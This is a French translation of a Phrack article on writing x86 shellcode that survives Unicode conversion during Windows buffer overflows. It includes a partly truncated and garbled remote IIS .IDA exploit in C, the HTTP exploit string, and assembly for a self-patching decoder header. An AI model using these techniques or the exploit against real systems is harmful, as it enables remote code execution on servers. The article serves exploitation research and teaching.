==Phrack Inc.== Volume 0x0b, Issue 0x3d, Phile #0x0b of 0x0f |=------------=[ Building IA32 'Unicode-Proof' Shellcodes ]=-------------=| |=-----------------------------------------------------------------------=| |=------------=[ obscou ]=-------------=| |=---------------------[ Traduit par X-FaKtOr ]=-------------------------=| --[ Sommaire 0 - Le standard unicode 1 - Introduction 2 - Notre jeu d'instructions 3 - Possibilités 4 - La stratégie 5 - Position du code 6 - Conclusion 7 - Appendice : Le code --[ 0 - Le standard unicode En exploitant les buffers overflow, nous avons du parfois faire face à une difficulté: Les transformations de caractères. En fait, le programme exploité peut très bien modifier notre buffer, en le mettant en minuscule/majuscule ou en se débarrassant des caractères non alphanumériques. La transformation dont nous parlons ici est le passage d'une chaîne Ansi de type langage C (la bien connue null terminated string)en une chaîne unicode. Voici une petite vue d'ensemble de ce qu'est Unicode (source : www.unicode.org) "Qu'est ce qu'Unicode? Unicode fournit un numéro unique pour chaque caractère, peu importe la plate-forme, peu importe le programme, peu importe le langage." --- www.unicode.org Du fait que l'Internet soit devenu aussi populaire, et que nous avons différents langages et donc des caractères différents, il y a actuellement nécessité d'avoir un standard pour que les ordinateurs puissent échanger des données sans se soucier du programme, de la plate-forme, du langage, du type de réseau... Unicode est un jeu de caractères sur 16 bits capable d'encoder tous les caractères connus et utilisé comme un standard mondial d'encodage de caractères. De nos jours, Unicode est utilisé par de nombreux leaders de l'industrie tels que : Apple HP IBM Microsoft Oracle Sun et tant d'autres... Le standard unicode est requis par des logiciels tels que : (liste non exhaustive, regardez sur unicode.org pour une liste complète) Systèmes d'exploitations : Microsoft Windows CE, Windows NT, Windows 2000, et Windows XP GNU/Linux with glibc 2.2.2 ou plus récent - FAQ support Apple Mac OS 9.2, Mac OS X 10.1, Mac OS X Server, ATSUI Compaq's Tru64 UNIX, Open VMS IBM AIX, AS/400, OS/2 SCO UnixWare 7.1.0 Sun Solaris Et bien sur, par n'importe quel logiciel tournant sur ces systèmes... http://www.unicode.org/charts/ : nous montre la table Unicode des caractères. Ca ressemble à çà: | Rangée | Jeu de caractère |-----------|-------------------- | 0000-007F | Basic Latin | 0080-00FF | Latin-1 Supplement | 0100-017F | Latin Extended-A | [...] | [...] | 0370-03FF | Greek and Coptic | [...] | [...] | 0590-05FF | Hebrew | 0600-06FF | Arabic | [...] | [...] | 3040-309F | Japanese Hiragana | 30A0-30FF | Japanese Katakana .... et ainsi de suite jusqu'à ce que tout le monde soit heureux ! Unicode 4.0 inclut des caractères pour ces jeux de caractères standards: Basic Latin Block Elements Latin-1 Supplement Geometric Shapes Latin Extended-A Miscellaneous Symbols Latin Extended-B Dingbats IPA Extensions Miscellaneous Math. Symbols-A Spacing Modifier Letters Supplemental Arrows-A Combining Diacritical Marks Braille Patterns Greek Supplemental Arrows-B Cyrillic Miscellaneous Mathematical Symbols-B Cyrillic Supplement Supplemental Mathematical Operators Armenian CJK Radicals Supplement Hebrew Kangxi Radicals Arabic Ideographic Description Characters Syriac CJK Symbols and Punctuation Thaana Hiragana Devanagari Katakana Bengali Bopomofo Gurmukhi Hangul Compatibility Jamo Gujarati Kanbun Oriya Bopomofo Extended Tamil Katakana Phonetic Extensions Telugu Enclosed CJK Letters and Months Kannada CJK Compatibility Malayalam CJK Unified Ideographs Extension A Sinhala Yijing Hexagram Symbols Thai CJK Unified Ideographs Lao Yi Syllables Tibetan Yi Radicals Myanmar Hangul Syllables Georgian High Surrogates Hangul Jamo Low Surrogates Ethiopic Private Use Area Cherokee CJK Compatibility Ideographs Unified Canadian Aboriginal Syllabic Alphabetic Presentation Forms Ogham Arabic Presentation Forms-A Runic Variation Selectors Tagalog Combining Half Marks Hanunoo CJK Compatibility Forms Buhid Small Form Variants Tagbanwa Arabic Presentation Forms-B Khmer Halfwidth and Fullwidth Forms Mongolian Specials Limbu Linear B Syllabary Tai Le Linear B Ideograms Khmer Symbols Aegean Numbers Phonetic Extensions Old Italic Latin Extended Additional Gothic Greek Extended Deseret General Punctuation Shavian Superscripts and Subscripts Osmanya Currency Symbols Cypriot Syllabary Combining Marks for Symbols Byzantine Musical Symbols Letterlike Symbols Musical Symbols Number Forms Tai Xuan Jing Symbols Arrows Mathematical Alphanumeric Symbols Mathematical Operators CJK Unified Ideographs Extension B Miscellaneous Technical CJK Compatibility Ideographs Supp. Control Pictures Tags Optical Character Recognition Variation Selectors Supplement Enclosed Alphanumerics Supplementary Private Use Area-A Box Drawing Supplementary Private Use Area-B Oui c'est impressionnant ! Microsoft nous dit : "Unicode est un standard mondial d'encodage de caractères. Windows NT, 2000, et Windows XP l'utilisent exclusivement au niveau système pour la manipulation de chaînes et de caractères. Unicode simplifie la localisation des logiciels et améliore le traitement des textes multilingues. En l'implémentant dans vos applications, vous pouvez octroyer à celles-ci des capacités d'échanges de données universelles pour aboutir à un marketing plus global, en n'utilisant qu'un seul fichier binaire pour chaque caractère de codage possible." Nous devons remarquer que l'interface de programmation Windows utilise les API Ansi et Unicode pour chaque API, par exemple: L'API : MessageBox (affiche une msgbox bien sur)est exporté par User32.dll avec: MessageBoxA (ANSI) MessageBoxW (Unicode) MessageBoxA acceptera une chaine C standard comme argument MessageBoxW requiert une chaine Unicode comme argument. Selon Microsoft, l'usage interne des chaînes est géré par le système lui-même ce qui assure une conversion complète des chaînes entre différents standards. Mais si vous voulez utiliser de l'Ansi dans un programme C en compilant sous Windows, vous devez définir UNICODE et chaque API sera remplacée par sa version 'W'.Cela me semble logique, entrons maintenant dans le vif du sujet... --[ 1 - Introduction Nous allons considérer la situation suivante: Vous envoyez des données à un serveur vulnérable, et vos données sont considérées comme de l'ASCII (un standard 8 bits d'encodage de caractères), alors votre buffer est converti en unicode pour des raisons de compatibilités, et ensuite se produit un overflow avec votre buffer converti. Par exemple, un buffer tel que celui-ci : 4865 6C6C 6F20 576F 726C 6420 2100 0000 Hello World !... 0000 0000 0000 0000 0000 0000 0000 0000 ................ Se transformerait en : 4800 6500 6C00 6C00 6F00 2000 5700 6F00 H.e.l.l.o. .W.o. 7200 6C00 6400 2000 2100 0000 0000 0000 r.l.d. .!....... Et bang! le débordement (ouais je sais mon exemple est stupide !) Sur des plates-formes Win32, un processus commence généralement à l'adresse 00401000, cela rend possible un écrasement de l'EIP avec une adresse de retour qui ressemble à ceci : ????:00??00?? Donc même après une telle transformation, une exploitation reste possible. Il va être cependant nettement plus difficile d'obtenir un shellcode fonctionnel. Une possibilité est de remplir la pile avec des données non transformées qui contiennent le même shellcode en de nombreux exemplaires, ensuite faire l'overflow avec le buffer transformé pour le faire retourner vers l'un de nos multiples shellcodes. Ici nous supposons que ceci est impossible car tous les buffers sont en unicode. Inutile de préciser que notre code assembleur ne passera pas cette sécurité. Ainsi nous devons trouver des opcodes contenant des octets nuls pour construire notre shellcode. Voici un exemple, qui est un peu vieux mais il montre comment on peut s'y prendre pour faire un shellcode qui s'exécute même si le buffer que l'on envoie est ba**é ! Cet exploit fonctionnait sur ma box, il attaque le service web IIS : ---------------- CUT HERE ------------------------------------------------- /* IIS .IDA remote exploit Adresse de retour formatée: 0x00530053 par obscurer */ #include #include #include void usage(char *a); int wsa(); /* My Generic Win32 Shellcode */ unsigned char shellcode[]={ "\xEB\x68\x4B\x45\x52\x4E\x45\x4C\x13\x12\x20\x67\x4C\x4F\x42\x41" "\x4C\x61\x4C\x4C\x4F\x43\x20\x7F\x4C\x43\x52\x45\x41\x54\x20\x7F" [......] [......] [......] "\x09\x05\x01\x01\x69\x01\x01\x01\x01\x57\xFE\x96\x11\x05\x01\x01" "\x69\x01\x01\x01\x01\xFE\x96\x15\x05\x01\x01\x90\x90\x90\x90\x00"}; int main (int argc, char **argv) { int sock; struct hostent *host; struct sockaddr_in sin; int index; char *xploit; char *longshell; char retstring[250]; if(argc!=4&&argc!=5) usage(argv[0]); if(wsa()==FALSE) { printf("Error : cannot initialize winsock\n"); exit(0); } int size=0; if(argc==5) size=atoi(argv[4]); printf("Beginning Exploit building\n"); xploit=(char *)malloc(40000+size); longshell=(char *)malloc(35000+size); if(!xploit||!longshell) { printf("Error, not enough memory to build exploit\n"); return 0; } if(strlen(argv[3])>65) { printf("Error, URL too long to fit in the buffer\n"); return 0; } for(index=0;indexh_addr, sizeof(host->h_addr)); } else sin.sin_addr.S_un.S_addr=inet_addr(argv[1]); sin.sin_family=AF_INET; sin.sin_port=htons(atoi(argv[2])); index=connect(sock,(struct sockaddr *)&sin,sizeof(sin)); if (index==-1) { printf("Error : Couldn't connect to host\n"); return 0; } printf("Connected to host, sending shellcode\n"); index=send(sock,xploit,strlen(xploit),0); if(index<1) { printf("Error : Couldn't send trough socket\n"); return 0; } printf("Done, waiting for an answer\n"); memset (xploit,0, 2000); index=recv(sock,xploit,100,0); if(index<0) { printf("Server crashed, if exploit didn't work, increase buffer size by 10000\n"); exit(0); } printf("Exploit didn't seem to work, closing connection\n",xploit); closesocket(sock); printf("Done\n"); return 0; } ---------------- CUT HERE ------------------------------------------------- Dans cet exemple, la chaîne d'exploitation doit être constituée comme suit: "GET /NULL.ida?[BUFFER]=x HTTP/1.1\nHost: localhost\nAlex: [ANY]\n\n" Si [BUFFER] est assez grand, EIP est écrasé avec ce qu'il contient. Mais j'ai noté que [BUFFER] était converti en unicode quand se produisait l'overflow. Mais un fait intéressant est que [ANY] était un buffer ASCII clean au départ, étant mappé en mémoire à environ:00530000... J'ai donc tenté de mettre [BUFFER] à "SSSSSSSSSSSSS" (S = 0x53). Après la transformation en unicode cela devient: ...00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53... Le registre EIP était écrasé avec: 0x005300053, IIS retournait quelque part près de [ANY], où j'avais placé une quantité de 0x41 = "A"(qui incrémente un registre) et ensuite à la fin de [ANY], mon shellcode. Et cela marcha. Mais nous n'avons aucun buffer clean, nous sommes dans l'incapacité d'installer un shellcode quelque part en mémoire. Nous devons trouver une autre solution. --[ 2 - Notre jeu d'instructions Nous devons garder à l'esprit que nous ne pouvons pas utiliser d'adresses absolues pour les calls,jmp...car nous voulons que notre shellcode soit aussi portable que possible. D'abord nous devons connaître quels opcodes peuvent être utilisés, et lesquels ne le peuvent pas pour élaborer une stratégie. Comme cela est utilisé couramment dans les papiers Intel: r32 se refère à un registre 32 bits (eax,esi,ebp...) r8 se réfère à un registre 8 bits (ah,bl,cl...) - SAUTS INCONDITIONNELS (JMP) Les opcodes pour un JMP sont EB et E9 pour des sauts relatifs, nous ne pouvons pas les utiliser car ils doivent être suivis par un octet (00 signifierait un saut vers la prochaine instruction ce qui est bien sur inutile) FF et EA sont des sauts absolus, ces opcodes ne peuvent être suivis par un 00, sauf si nous voulons sauter à une adresse connue, ce que nous ne ferons pas car cela signifierait que notre shellcode contiendrait des adresses en dur. - LES SAUTS CONDITIONNELS (Jcc : JNE, JAE, JNE, JL, JZ, JNG, JNS...) La syntaxe pour les far-jump ne peut être utilisée car elle nécessite 2 octets consécutifs non-nuls. La syntaxe pour les near-jump ne peut pas non plus être utilisée car l'opcode doit être suivi de la distance qui le sépare de la destination du saut, qui ne sera jamais 00. Aussi les JMP r32 sont impossibles. - LES BOUCLES (LOOP, LOOPcc : LOOPE, LOOPNZ..) Même problème: E0, ou E1, ou E2 sont des opcodes de BOUCLE, ils doivent être suivis par le nombre d'octets à boucler... - REPEAT (REP, REPcc : REPNE, REPNZ, REP + string opération) Tous ceci est impossible à faire du fait que ces instructions commencent toutes avec un opcode de deux octets. - CALL Seul, les calls relatifs peuvent être utiles: E8 ?? ?? ?? ?? Dans notre cas, nous devons avoir: E8 00 ?? 00 ?? (avec chaque ?? != 00) Nous ne pouvons pas utiliser ceci car la destination du call serait au moins 01000000 octets plus loin... Aussi, le CALL r32 est impossible. - AFFECTATION D'OCTETS SUR CONDITION (SETcc) Cette instruction nécessite 2 octets non nuls. (SETA est 0F 97 par exemple). Et bien...C'est plus difficile que ça le semblait...Nous ne pouvons faire aucun test... Car nous ne pouvons rien faire de conditionnel ! De plus, nous ne pouvons pas nous déplacer dans notre code: aucun saut ni call ne sont permis, et ni les boucles ni les repeats ne peuvent êtres effectués. Alors, que pouvons-nous faire ? Le fait que nous ayons de nombreux octets nuls va permettre beaucoup d'opérations sur le registre EAX...Car quand vous utilisez EAX, [EAX], AX, etc...comme opérande, c'est souvent codé en Hexa avec un 00. - OPCODES A UN SEUL OCTET Nous pouvons utiliser n'importe quel opcode à un seul octet, cela va nous donner n'importe quel INC ou DEC sur n'importe quel registre, XCHG et PUSH/POP sont aussi possibles, avec les registres en tant qu'opérandes. Ainsi nous pouvons faire: XCHG r32,r32 POP r32 PUSH r32 Pas mal. - MOV ________________________________________________________________ |8800 mov [eax],al | |8900 mov [eax],eax | |8A00 mov al,[eax] | |8B00 mov eax,[eax] | | | |Relativement inutile. | |_______________________________________________________________| ________________________________________________________________ |A100??00?? mov eax,[0x??00??00] | |A200??00?? mov [0x??00??00],al | |A300??00?? mov [0x??00??00],eax | | | |Ceux-ci nous sont inutiles. (Nous avons bien dis aucune | |adresse en dur). | |_______________________________________________________________| ________________________________________________________________ |B_00 mov r8,0x0 | |A4 movsb | | | |Peut-être pourrions nous utiliser ceux-ci. | |_______________________________________________________________| ________________________________________________________________ |B_00??00?? mov r32,0x??00??00 | |C600?? mov byte [eax],0x?? | | | |Cela pourrait être utile pour patcher la mémoire. | |_______________________________________________________________| - ADD ________________________________________________________________ |00__ add [r32], r8 | | | | En utilisant n'importe quel registre en tant que pointeu, | |nous pouvons ajouter des octets en mémoire. | | | |00__ add r8,r8 | | | | Pourrait être une manière de modifier un registre. | |_______________________________________________________________| - XOR ________________________________________________________________ |3500??00?? xor eax,0x??00??00 | | | | | | Pourrait être une manière de modifier le registre EAX. | |_______________________________________________________________| - PUSH ________________________________________________________________ |6A00 push dword 0x00000000 | |6800??00?? push dword 0x??00??00 | | | | Seul ceci peut être réalisé. | |_______________________________________________________________| --[ 3 - Possibilités D'abord nous devons nous débarrasser d'un petit détail:le fait que nous ayons de tels 0x00 dans notre code requiert de la prudence car si vous retournez d'un EIP écrasé à ADDR: ... ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ... || ADDR Le résultat pourrait être complètement différent si vous retournez à ADDR ou à ADDR+1 ! Mais, nous pouvons utiliser en tant qu'instruction 'NOP', des instructions telles que: ________________________________________________________________ |0400 add al,0x0 | |_______________________________________________________________| A cause du fait que: 000400 représente: add [2*eax],al, nous pouvons sauter où nous le voulons, nous ne serons pas ennuyés par le fait que nous devions tomber sur un 0x00 ou pas. Mais cela demande que 2*eax soit un pointeur valide. Nous avons également: ________________________________________________________________ |06 push es | |0006 add [esi],al | | | |0F000F str [edi] | |000F add [edi],cl | | | |2E002E add [cs:esi],ch | |002E add [esi],ch | | | |2F das | |002F add [edi],ch | | | |37 aaa | |0037 add [edi],dh | | ; .... etc etc... | |_______________________________________________________________| Nous devons juste nous montrer prudent avec ce problème d'alignement. Ensuite, regardons ce qui peut être fait: XCHG, INC, DEC, PUSH, POP registre 32 bits peuvent être faits directement Nous pouvons mettre un registre (r32) à 00000000 : ________________________________________________________________ |push dword 0x00000000 | |pop r32 | |_______________________________________________________________| Notons que tout ce qui peut être fait avec EAX peut être fait avec n'importe quel registre grâce à l'instruction XCHG. Par exemple nous pouvons mettre n'importe quelle valeur dans EDX avec un 0x00 en seconde position : (par exemple : 0x12005678): ________________________________________________________________ |mov edx,0x12005600 ; EDX = 0x12005600 | |mov ecx,0xAA007800 | |add dl,ch ; EDX = 0x12005678 | |_______________________________________________________________| Plus difficile: nous pouvons mettre n'importe quelle valeur dans EAX (par exemple), mais nous devrons user d'une petite astuce avec la pile: ________________________________________________________________ |mov eax,0xAA003400 ; EAX = 0xAA003400 | |push eax | |dec esp | |pop eax ; EAX = 0x003400?? | |add eax,0x12005600 ; EAX = 0x123456?? | |mov al,0x0 ; EAX = 0x12345600 | |mov ecx,0xAA007800 | |add al,ch | | ; finally : EAX = 0x12345678 | |_______________________________________________________________| Note importante : nous pourrions avoir envie de mettre des 0x00 aussi : Si nous voulions un 0x00 à la place de 0x12, alors à la place d'ajouter 0x00120056 au registre, nous pouvons simplement ajouter 0x56 à ah: ________________________________________________________________ |mov ecx,0xAA005600 | |add ah,ch | |_______________________________________________________________| Si nous voulions un 0x00 au lien de 0x34, alors nous devons avoir EAX=00000000 pour commencer, au lieu de tenter de mettre cet octet 0x34. Si nous voulions un 0x00 au lien de 0x56, alors il est simple de soustraire 0x56 à ah en ajoutant 0x100 - 0x56 = 0xAA à ca: ________________________________________________________________ | ; EAX = 0x123456?? | |mov ecx,0xAA00AA00 | |add ah,ch | |_______________________________________________________________| Si nous voulions un 0x00 à la place du dernier octet effacez juste la dernière ligne. Si vous n'aviez pas pensé à çà, souvenez-vous que vous pouvez sauter à un emplacement donné avec (en admettant que l'adresse est dans EAX): ________________________________________________________________ |50 push eax | |C3 ret | |_______________________________________________________________| Vous pouvez utiliser ceci dans les cas désespérés. --[ 4 - La stratégie Il semblerait qu'il soit presque impossible d'obtenir un shellcode fonctionnel avec un si petit jeu d'instructions...Mais çà ne l'est pas ! L'idée est la suivante : Pour un shellcode fonctionnel donné, nous devons nous débarrasser des 00 entre chaque octet. Il nous faut une boucle, alors faisons-en une, avec EAX pointant sur notre shellcode : _Code_de_la_boucle_:____________________________________________ | ; eax pointe sur notre shellcode | | ; ebx est égal à 0x00000000 | | ; ecx est égal à 0x00000500 (par exemple) | | | | label: | |43 inc ebx | |8A1458 mov byte dl,[eax+2*ebx] | |881418 mov byte [eax+ebx],dl | |E2F7 loop label | |_______________________________________________________________| Problème: non-unicode. Transformons le en unicode: 43 8A 14 58 88 14 18 E2 F7, serait : 43 00 14 00 88 00 18 00 F7 Ensuite, en considérant le fait que nous pouvons écrire des données à un endroit pointé par EAX, ce sera simple de transformer ces 00 en leurs valeurs originales. Nous devons simplement faire ceci (nous supposons que EAX pointe sur nos données) : ________________________________________________________________ |40 inc eax | |40 inc eax | |C60058 mov byte [eax],0x58 | |_______________________________________________________________| Problème : ce n'est toujours pas unicode. Comme 2 octets tels 0x40 se suivent, nous avons besoin d'un 00 entre les deux...Comme 00 ne peut pas convenir, il nous faut quelque chose comme ceci : 00??00, Ce qui n'interfèrera pas avec notre affaire, donc: add [ebp+0x0],al (0x004500) Le fera parfaitement. En définitive on obtient: ________________________________________________________________ |40 inc eax | |004500 add [ebp+0x0],al | |40 inc eax | |004500 add [ebp+0x0],al | |C60058 mov byte [eax],0x58 | |_______________________________________________________________| -> [40 00 45 00 40 00 45 00 C6 00 58] n'est rien d'autre qu'une chaîne unicode! Avant la boucle, nous devons avoir fait certaines choses: D'abord nous devons fixer un compteur, je propose de mettre ECX a 0x500, cela nous autorisera un shellcode de 1280 octets (mais ne vous gênez pas pour le changer). ->C'est aisé à faire à l'aide de ce que nous venons de remarquer. Ensuite nous devons avoir EBX=0x00000000, de façon à ce que la boucle marche correctement. ->C'est également facile à réaliser. Enfin nous devons avoir EAX qui pointe sur notre shellcode dans le but de supprimer les octets nuls. ->Ceci sera la partie la plus difficile dans notre tache, aussi nous verrons cela plus loin. En supposant que EAX pointe sur notre code, nous pouvons construire une en-tête qui va nettoyer notre code des octets nuls (nous usons d'un add [ebp+0x0],al pour aligner les octets nuls): ->1ère partie: nous mettons EBX=0x00000000, et ECX=0x00000500 (la taille approximative de notre buffer) ________________________________________________________________ |6A00 push dword 0x00000000 | |6A00 push dword 0x00000000 | |5D pop ebx | |004500 add [ebp+0x0],al | |59 pop ecx | |004500 add [ebp+0x0],al | |BA00050041 mov edx,0x41000500 | |00F5 add ch,dh | |_______________________________________________________________| ->2ème partie: Le patch de la portion de code de la boucle: 43 00 14 00 88 00 18 00 F7 doit devenir : 43 8A 14 58 88 14 18 E2 F7 Ainsi nous devons patcher exactement 4 octets, ce qui est simple: (N.B: en utilisant {add dword [eax],0x00??00??} cela prend plus d'octets aussi nous utiliserons un mov a un seul octet : {mov byte [eax],0x??} pour faire ceci) ________________________________________________________________ |mov byte [eax],0x8A | |inc eax | |inc eax | |mov byte [eax],0x58 | |inc eax | |inc eax | |mov byte [eax],0x14 | |inc eax | | ; encore un inc pour avoir avoir EAX sur notre shellcode | |_______________________________________________________________| Ce qui se fait, avec l'instruction 'd'alignement' {add [ebp+0x0],al} : ________________________________________________________________ |004500 add [ebp+0x0],al | |C6008A mov byte [eax],0x8A ; 0x8A | |004500 add [ebp+0x0],al | | | |40 inc eax | |004500 add [ebp+0x0],al | |40 inc eax | |004500 add [ebp+0x0],al | |C60058 mov byte [eax],0x58 ; 0x58 | |004500 add [ebp+0x0],al | | | |40 inc eax | |004500 add [ebp+0x0],al | |40 inc eax | |004500 add [ebp+0x0],al | |C60014 mov byte [eax],0x14 ; 0x14 | |004500 add [ebp+0x0],al | | | |40 inc eax | |004500 add [ebp+0x0],al | |40 inc eax | |004500 add [ebp+0x0],al | |C600E2 mov byte [eax],0xE2 ; 0xE2 | |004500 add [ebp+0x0],al | |40 inc eax | |004500 add [ebp+0x0],al | |_______________________________________________________________| C'est bon, nous avons maintenant EAX qui pointe sur la fin de la boucle, ce qui revient à dire sur le shellcode. ->3ème partie: Le code de la boucle (rempli d'octets nuls bien sur) ________________________________________________________________ |43 db 0x43 | |00 db 0x00 ; écrasé par 0x8A | |14 db 0x14 | |00 db 0x00 ; écrasé par 0x58 | |88 db 0x88 | |00 db 0x00 ; écrasé par 0x14 | |18 db 0x18 | |00 db 0x00 ; écrasé par 0xE2 | |F7 db 0xF7 | |_______________________________________________________________| Juste après cela nous devons placer le shellcode fonctionnel original. Comptons la taille de cette en-tête : (les octets nuls ne comptent pas evidemment) 1ère partie : 10 octets 2ème partie : 27 octets 3ème partie : 5 octets ------------------- Total : 42 octets Je trouve ceci envisageable, car je peux imaginer faire un remote shellcode Win32 qui tiendrait en environ 450 octets. Ainsi, nous l'avons finalement fait : un shellcode qui fonctionne après avoir été converti en une chaîne unicode ! Est-ce réellement tout? Non bien sur, nous oublions quelque chose. J'ai écris que supposions que EAX pointait exactement sur le premier octet nul du code de la boucle. Mais pour être honnête avec vous, je me dois de vous expliquer une façon d'obtenir ceci. --[ 5 - Capitaine, nous ne connaissons pas notre position ! Le problème est simple : Nous devons patcher la mémoire pour faire que notre boucle fonctionne. Aussi nous devons connaître notre position car nous nous patchons nous-même. Dans un programme assembleur, une façon simple de faire cela serait: ________________________________________________________________ |call label | | | | label: | |pop eax | |______________________________________________________________ | Va récupérer l'adresse mémoire absolue de laber dans EAX. Dans un shellcode classique il nous faut faire un call vers un adresse inférieure pour éviter les octets nuls : ________________________________________________________________ |jmp jump_label | | | | call_label: | |pop eax | |push eax | |ret | | jump_label: | |call call_label | | ; **** | |_______________________________________________________________| Va récupérer l'adresse mémoire absolue dans '****' Mais ceci est impossible dans notre cas, car nous ne pouvons ni sauter ni faire de call. De plus, nous ne pouvons scanner la mémoire a la recherche d'une signature de quelque type que ce soit. Je suis sur qu'il doit y avoir d'autre manière de faire cela mais je n'en aurais que 3 à vous proposer: ->1ère idée : nous sommes chanceux. Si nous sommes chanceux, nous pouvons espérer que certains registre pointant sur un endroit proche de notre code malveillant. En fait, cela se produira dans 90% des cas. Cet endroit ne peut être envisagé être écrit en dur car il changera probablement d'un machine a l'autre. (Le programme, avant de crasher, doit avoir utilisé vos données et de ce fait il doit contenir des pointeurs sur ces dernières) Nous savons que nous pouvons ajouter n'importe quoi à EAX (seulement à EAX) Ainsi nous pouvons: -utiliser XCHG pour obtenir l'adresse approximative dans EAX -ensuite ajouter une valeur à EAX, et ainsi déplacer celle-ci ou l'on veut. Le problème est que nous ne pouvons utiliser : add al,r8 ni and ah,r8, car n'oubliez pas que: EAX=0x000000FF + add al,1 =EAX=0x00000000 Ainsi ces manipulations accompliront différentes choses selon ce que contient EAX. Ainsi tout ce que nous avons est: add eax, 0x??00??00 Aucun problème, nous pouvons ajouter 0x1200 ( par exemple) a EAX avec: ________________________________________________________________ |0500110001 add eax,0x01001100 | |05000100FF add eax,0xFF000100 | |_______________________________________________________________| Ensuite, il est simple d'ajouter des données alignées de façon à ce que EAX pointe sur ce que nous voulons. Par exemple: ________________________________________________________________ |0400 add al,0x0 | |_______________________________________________________________| Serait parfait pour aligner. (N.B:nous aurons peut être besoin d'un petit inc EAX pour que ça convienne) De la place supplémentaire peut être nécessaire pour cette méthode (maximum: 128 octets car nous pouvons seulement faire pointer EAX vers la plus proche adresse modulo 0x100, ensuite nous devons aligner les octets. Comme chaque paire d'octets n'est qu'en fait qu'un octet d'un buffer à cause de l'adjonction des octets nuls, nous devons ajouter au dans le pire des cas 0x100 / 2 = 128 octets) ->2ème idée: un peu moins chanceux. Si vous pouvez trouver un adresse proche dans vos registre, vous pouvez sûrement en trouver une dans la pile. Espérons que votre ESP n'a pas été écrasé après l'overflow. Vous devez juste faire un POP à partir de la pile jusqu'à trouver une bonne adresse. Cette méthode ne peut être présentée d'une façon générale, mais la pile contient toujours des adresses que l'application a utilisées avant que vous vous en occupiez. Notez que vous pouvez utiliser POPAD pour faire un pop EDI, ESI, EBX, EDX, ECX et EAX. Ensuite nous utilisons la même méthode que précédemment. -> 3ème idée : Dieu oubliez-moi. Ici, nous supposons que nous n'avons aucun registre intéressant, ou que les valeurs que contiennent ceux-ci changer d'un essai à l'autre. De plus, il n'y a rien d'intéressant dans la pile. C'est un cas désespéré donc -> nous utilisons une attaque samouraï suicide. Ma dernière idée est de: - Prendre une adresse mémoire "aléatoire" qui a des droits en écriture - Patcher avec 3 octets - Appeler cette adresse avec un call relatif La première partie est la plus hasardeuse : nous devons trouver un adresse qui se trouve dans un section ou l'on peut écrire. Nous ferions mieux d'en trouver une a la fin d'une section remplie d'octets nuls ou quelque chose comme ça, car nous allons faire un call plutôt aléatoire. La manière la plus simple de faire cela est de prendre par exemple la section .data du PE ( Portable Exécutable) de l'exécutable cible. C'est en général une section assez étendue avec les Flags: Read/Write/Data. Ainsi ce n'est pas un problème pour une sorte d'écriture en dur d'une adresse dans cette zone. Ainsi pour la première étape nous insérons une adresse au beau milieux de tout çà, cela importe peu où. (N.B : si l'un de vos registres pointe sur un adresse valide après l'overflow, vous n'avez pas à faire tout ceci bien évidemment) Nous supposons que l'adresse est 0x004F1200 par exemple: En utilisant ce que nous venons de voir, il est aisé de mettre EAX à cette adresse: ________________________________________________________________ |B8004F00AA mov eax,0xAA004F00 ; EAX = 0xAA004F00 | |50 push eax | |4C dec esp | |58 pop eax ; EAX = 0x004F00?? | |B000 mov al,0x0 ; EAX = 0x004F0000 | |B9001200AA mov ecx,0xAA001200 | |00EC add ah,ch | | ; finallement : EAX = 0x004F1200 | |_______________________________________________________________| Ensuite nous allons patcher cette adresse mémoire accessible en écriture (devinez quoi) : ________________________________________________________________ |pop eax | |push eax | |ret | |_______________________________________________________________| Code hexa du patch: [58 50 C3] Cela nous donnerait, après avoir appelé cette adresse, un pointeur sur notre code dans EAX. Cela serait la fin des problèmes. Donc patchons ceci: Souvenez-vous que EAX contient l'adresse que nous patchons. Ce que nous allons faire est de d'abord patcher avec 58 00 C3 00 ensuite déplacer EAX 1 octets avant, et mettre le dernier octet : 0x50 entre les deux autres. (N.B: n'oubliez pas que les octets sont pushés dans l'ordre inverse dans la pile) ________________________________________________________________ |C7005800C300 mov dword [eax],0x00C30058 | |40 inc eax | |C60050 mov byte [eax],0x50 | |_______________________________________________________________| S'en est fini du patch. Maintenant nous devons appelons cette adresse. Je sais que j'ai dis que nous ne pouvions pas faire de call sur n'importe quoi, mais c'est un cas désespéré, donc nous utilisons un call relatif : ________________________________________________________________ |E800??00!! call (here + 0x!!00??00) | | (**) | |_______________________________________________________________| Pour faire que cette méthode fonctionne, vous devez patcher la fin d'une grande section mémoire contenant des octets nuls par exemple. Ensuite nous pouvons appeler n'importe quelle adresse, cela se finira en exécutant notre code de 3 octets. Après ce call, EAX aura l'adresse de (**), nous sommes sauvés parce que nous avons juste besoin d'ajouter à EAX une valeur que nous pouvons calculer car c'est juste une différence entre deux offsets de notre code. De ce fait nous pouvons utiliser la technique précédente pour ajouter des octets à EAX car nous voulons en ajouter moins de 0x100. Ainsi nous ne pouvons pas faire de choses du genre {add eax,imm32}.Faisons quelque chose d'autre: add dword [eax], byte 0x?? est la clé, car nous pouvons ajouter un octet à un dword, c'est parfait. EAX pointe sur (**), nous pouvons utiliser cette adresse mémoire pour fixer une nouvelle valeur et la remettre dans EAX. Nous supposons que nous voulons ajouter 0x00?? a EAX: (N.B : 0x?? ne peut pas être plus grand que 0x80 car le: add dword [eax], byte 0x?? que nous utilisons est signé, ainsi si vous fixer une grande valeur, cela va soustraire au lien d'additionner. (Ensuite ajouter un 0x100 et ajouter des alignements a votre code mais cela ne se produira pas étant donné que 42*2 octets n'est pas assez grand je suppose) ________________________________________________________________ |0400 ad al,0x0 ; le 0x04 sera écrasé | |8900 mov [eax],eax | |8300?? add dword [eax],byte 0x?? | |8B00 mov eax,[eax] | |_______________________________________________________________| Tout est ok, nous pouvons pousser EAX à pointer exactement sur le premier octet nul de notre code de boucle comme nous le souhaitons. Nous avons juste besoin de calculer 0x00?? (comptez juste le nombre d'octets incluant des octets nuls entre le code de la boucle et le call et vous trouverez 0x5A) --[ 6 - Conclusion Finalement, nous pouvons réaliser un unishellcode, qui ne sera pas altéré après une conversion en chaîne unicode. J'attends d'autre idées ou techniques pour réaliser ceci, je suis sur qu'il y a une foule de choses auxquelles je n'ai pas penséés. Merci à : - Le compilateur NASM et le désambleur (J'aime son style=) - Datarescue IDA - Numega SoftIce - Intel et ses processeurs Documentation : - http://www.intel.com pour la doc. assembleur Intel officielle Greetings : - rix, pour nous montrer de bien jolies choses dans ses articles - Tomripley, qui m'a toujours aidé quand j'avais besoin de lui! --| 7 - Appendice : Le code A des fins de testes, je vous donne quelque lignes de code pour vous amuser 